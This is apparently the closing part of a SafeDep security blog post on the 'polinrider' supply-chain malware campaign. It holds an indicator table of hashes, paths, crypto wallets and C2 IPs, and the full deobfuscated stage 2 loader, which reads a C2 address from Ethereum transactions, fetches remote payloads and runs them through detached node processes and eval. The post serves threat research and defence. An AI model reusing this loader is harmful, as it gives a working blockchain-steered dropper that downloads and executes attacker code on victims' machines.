20 02b7e072c51ac6f7037c2fd4727fcdb06bee6f74cc1af182f7180d8b5e904d63 SHA-256 3 /boot response from 198.105.127.210
21 84a3f1bd81ae4780776c93f9a5ec1cb0d7d6fb613f4a104cceaa93568bdbd0ab SHA-256 3 /0/boot response from 45.137.198.133
22 5cbcb8e11f6152c80cf88f752bcf9cb1077a88eac5e4eb02471f093248db01ac SHA-256 4 /init JSON response
23 f6d9f2fbf8091f431a802c4a0b8a5661278ee3f0854fb9040a0702e894b2309e SHA-256 4 /0/body response (XOR encoded)
24 3be09f8c0a95f993a0ee99e08dca08eb15e1c0abeaf90b190a76e842028e552b SHA-256 5 Python stealer from /$/1
25 ~/.node_modules File path 4 Private npm prefix for axios and socket.io-client
26 /tmp/tmp7A863DD1.tmp File path 5 Python stealer lock file (Linux and macOS)
27 %LOCALAPPDATA%\Temp\tmp7A863DD1.tmp File path 5 Python stealer lock file (Windows)
28 /tmp/.pip File path 5 Fallback pip install target
29 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a Ethereum address 2 Second operator wallet. Heartbeat every 1000 blocks since 2026-07-25
30 68656c6c6f6970626f742121 Address suffix 2 ASCII helloipbot!! at the end of every 0xa322 heartbeat recipient
31 0x4E5B2e1dc63F6b91cb6Cd759936495434C7e972F Ethereum address 2 Funded 0xa322 on 2026-07-25 (high volume wallet)
32 0x96C8e62C0Bae9E526f3122E5a5215069C6C0bd0C Ethereum address 2 Funded 0xa322 on 2026-07-30
33 166.88.134.62 IP address 3 0xa322 C2 2026-07-25 to 2026-08-22. Also in the @joyfill stage 2 routing. AS149440
34 23.27.13.135 IP address 3 0xa322 C2 2026-08-22 to 2026-08-27. AS149440
35 166.88.73.46 IP address 3 0xa322 C2 2026-08-28 to 2026-09-03. AS149440
36 193.247.144.38 IP address 3 0xa322 C2 2026-09-04 to 2026-09-17. AS149440
37 166.88.134.75 IP address 3 0xa322 C2 2026-09-17 to 2026-09-28. AS149440
38 91.218.183.174 IP address 3 0xa322 C2 from 2026-09-28. AS149440
39 /0x/cls URL path 3 0xa322 branch. Response XOR key q4FZkxX{!h
40 /0x/ls URL path 3 0xa322 branch. Response XOR key y-p_>d$0B&@^1aQk
41 Sec-V HTTP header 3 0xa322 branch. Carries the campaign marker
42 TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF Tron address 2 Paired 1-NN-1 files. Primary dead drop
43 TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH Tron address 2 Paired 1-NN-1 files. Fallback dead drop
44 0x3d2075f97b7b1e3234bd653779d21c605d7d8c6ec9c98d983880be5c7f4f9471 Aptos account 2 Paired 1-NN-1 files
45 0x9d202c824402ca89e9aaccd2390b6f8b332ae743caa1469c695feb2781d56519 Aptos account 2 Paired 1-NN-1 files
45 rows
| 4 columns

Deobfuscated stage 2

The file below is the stage 2 loader from the oxc commit after SafeDep resolved its string table. The variable names come from the obfuscator.

polinrider-ethereum-stage2-deobfuscated.js
// Stage 2 loader from commit 41ab07a8 in the oxc repository network. String tables resolved statically, formatted with Prettier.
// Variable names are the obfuscator output. Do not run.
function _$af5738(o) {
  if (o != null && typeof o['length'] == 'number') {
    var i = 0;
    return {
      next: function () {
        return i < o['length'] ? { done: false, value: o[i++] } : { done: true, value: void 0 };
      },
    };
  }
  if (o != null && typeof Symbol != 'undefined' && typeof o[Symbol['iterator']] == 'function') {
    return o[Symbol['iterator']]();
  }
  throw new TypeError('Value is not iterable');
}
(function (g) {
  try {
    var c = g['console'];
    if (!c) {
      return;
    }
    var a = [
      'log',
      'info',
      'warn',
      'error',
      'debug',
      'trace',
      'dir',
      'table',
      'group',
      'groupCollapsed',
      'groupEnd',
      'time',
      'timeEnd',
    ];
    for (var i = 0; i < a['length']; i++) {
      try {
        c[a[i]] = function () {};
      } catch (ex) {}
    }
  } catch (ex) {}
})(typeof globalThis !== 'undefined' ? globalThis : Function('return this')());
_$jsoIter = _$af5738;
(async function () {
  var i = global;
  var u = i['r'];
  var e = i['o'] || 0;
  var r = '33ff3edaf55a8e03dcbc7cb40d498a49';
  var n = 3;
  var o = 8;
  var c = 1 << o;
  async function a(c, a, s) {
    if (a === void 0) {
      a = [];
    }
    return new i['Promise'](function (o, e) {
      var t = i['JSON']['stringify']({ jsonrpc: '2.0', method: c, params: a, id: 1 });
      var n = { hostname: s, method: 'POST' };
      var r = u('https')
        ['request'](n, function (t) {
          var n = '';
          t['on']('data', function (t) {
            n += t;
          });
          t['on']('end', function () {
            try {
              o(i['JSON']['parse'](n)['result']);
            } catch (t) {
              e(t);
            }
          });
        })
        ['on']('error', function (t) {
          e(t);
        });
      r['write'](t);
      r['end']();
    });
  }
  async function s(t, n) {
    if (n === void 0) {
      n = [];
    }
    try {
      var __jso_block_param_14_o = await a(t, n, 'ethereum-rpc.publicnode.com1');
      if (__jso_block_param_14_o) {
        return __jso_block_param_14_o;
      }
    } catch {}
    try {
      var __jso_block_param_13_o = await a(t, n, 'eth.drpc.org');
      if (__jso_block_param_13_o) {
        return __jso_block_param_13_o;
      }
    } catch {}
    try {
      var __jso_block_param_12_o = await a(t, n, 'eth-mainnet.public.blastapi.io');
      if (__jso_block_param_12_o) {
        return __jso_block_param_12_o;
      }
    } catch {}
  }
  async function d(t) {
    var n = await s('eth_getBlockByNumber', ['0x' + t['toString'](16), true]);
    if (!(n['transactions'] == null ? undefined : n['transactions']['length'])) {
      return;
    }
    {
      var _$err_76ce_1;
      try {
        for (
          var _$it_76ce_1 = _$jsoIter(n['transactions']), _$st_76ce_1;
          !(_$st_76ce_1 = _$it_76ce_1['next']())['done'];
        ) {
          var __jso_nested_loop_3_o = _$st_76ce_1['value'];
          if (__jso_nested_loop_3_o['from']['includes'](r)) {
            return __jso_nested_loop_3_o['to'];
          }
        }
      } catch (_$ex_76ce_1) {
        _$err_76ce_1 = { e: _$ex_76ce_1 };
      } finally {
        try {
          if (_$st_76ce_1 && !_$st_76ce_1['done'] && _$it_76ce_1['return']) {
            _$it_76ce_1['return']();
          }
        } finally {
          if (_$err_76ce_1) {
            throw _$err_76ce_1['e'];
          }
        }
      }
    }
  }
  async function l(n) {
    for (var __jso_nested_loop_2_t = -1; __jso_nested_loop_2_t < 13; __jso_nested_loop_2_t++) {
      var __jso_block_param_11_o = __jso_nested_loop_2_t == -1 ? 0 : Math['pow'](2, __jso_nested_loop_2_t);
      for (var __jso_nested_loop_1_t = 0; __jso_nested_loop_1_t < 3; __jso_nested_loop_1_t++) {
        var __jso_block_param_10_e = await d(n - __jso_block_param_11_o * c + __jso_nested_loop_1_t);
        if (__jso_block_param_10_e) {
          return __jso_block_param_10_e;
        }
      }
    }
  }
  async function f(t) {
    return new i['Promise'](function (o, n) {
      u('http')
        ['get'](t, { headers: { X: r + ':' + e } }, function (t) {
          var n = '';
          t['on']('data', function (t) {
            n += t;
          });
          t['on']('end', function () {
            o(n);
          });
        })
        ['on']('error', function (t) {
          n(t);
        })
        ['end']();
    });
  }
  function h(t, n) {
    return (
      t['substring'](n, n + 8)
        ['match'](/.{2}/g)
        ['map'](function (t) {
          return parseInt(t, 16);
        })
        ['join']('.') +
      ':' +
      parseInt(t['substring'](n + 8, n + 12), 16)
    );
  }
  var t = new i['Date']()['getTime']();
  try {
    if (i['_p_t'] && t - i['_p_t'] < 3e4) {
      return;
    }
  } catch (t) {}
  i['_p_t'] = t;
  try {
    var __jso_block_param_9_p = parseInt(await s('eth_blockNumber'));
    var __jso_block_param_8_t = ((__jso_block_param_9_p >> o) << o) + n;
    if (__jso_block_param_9_p < __jso_block_param_8_t) {
      __jso_block_param_8_t -= c;
    }
    var __jso_block_param_7_m = await l(__jso_block_param_8_t);
    var __jso_block_param_6_b = u('child_process')['spawn'];
    var __jso_block_param_5_w = { detached: true, stdio: 'ignore', windowsHide: true };
    var __jso_block_param_4_y = "global.i='" + e + "';global.r=require;global.m=module;";
    try {
      var __jso_block_param_3_g = await f('http://' + h(__jso_block_param_7_m, 2) + '/boot');
      __jso_block_param_6_b(
        'node',
        ['-e', __jso_block_param_4_y + __jso_block_param_3_g],
        __jso_block_param_5_w,
      )['on']('error', function (__jso_block_param_8_t) {});
      eval(__jso_block_param_3_g);
      var __jso_block_param_2__ = u('os');
      if (
        __jso_block_param_2__['platform']() === 'linux' &&
        __jso_block_param_2__['release']()['includes']('microsoft-standard-WSL2')
      ) {
        __jso_block_param_6_b(
          'node.exe',
          ['-e', __jso_block_param_4_y + __jso_block_param_3_g],
          __jso_block_param_5_w,
        )['on']('error', function (__jso_block_param_8_t) {});
      }
    } catch (__jso_block_param_8_t) {}
    try {
      var __jso_block_param_1_g = await f('http://' + h(__jso_block_param_7_m, 14) + '/0/boot');
      __jso_block_param_6_b(
        'node',
        ['-e', __jso_block_param_4_y + __jso_block_param_1_g],
        __jso_block_param_5_w,
      )['on']('error', function (__jso_block_param_8_t) {
        eval(__jso_block_param_1_g);
      });
    } catch (__jso_block_param_8_t) {}
  } catch (t) {}
})();
JS 227 lines
  • supply-chain
  • malware
  • github
  • blockchain
  • polinrider

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.